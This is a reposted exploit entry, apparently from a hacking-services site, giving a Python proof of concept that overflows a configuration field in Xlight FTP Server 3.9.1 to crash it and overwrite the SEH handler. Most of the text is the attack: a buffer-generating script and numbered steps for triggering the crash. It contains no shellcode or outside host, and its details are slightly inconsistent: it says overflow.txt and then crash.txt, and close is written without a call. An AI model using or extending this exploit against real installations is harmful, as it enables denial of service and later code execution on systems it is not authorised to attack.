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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Xlight 3.9.1 FTP Server SEH Overwrite
# Google Dork: N/A
# Date: 2019-02-24
# Exploit Author: Logan Whitmire
# Vendor Homepage: https://www.xlightftpd.com/index.htm
# Software Link: https://www.xlightftpd.com/download/xlight.zip
# Version: 3.9.1
# Tested on: Windows XP
# CVE : N/A


POC:#!/usr/bin/python
#Vulnerable Software: Xlight FTP Server 3.9.1
#Link: https://www.xlightftpd.com/download.htm
#Date: 2019-02-24
#Twitter: thermal_tp
#inspired by bzyo's exploit
# 1. Generate overflow.txt, open, and copy contents to clipboard
# 2. Virtual Server
# 3. Modify Virtual Server Configuration
# 4. Advanced
# 5. Misc
# 6. Execute a program after user logged in
# 7. Setup
# 8. Paste crash.txt contents
# 9. Application crashes
# 10. SEH is overwritten

buffer="A"*428
file="overflow.txt"
generate=open(file, "w")
generate.write(buffer)
generate.close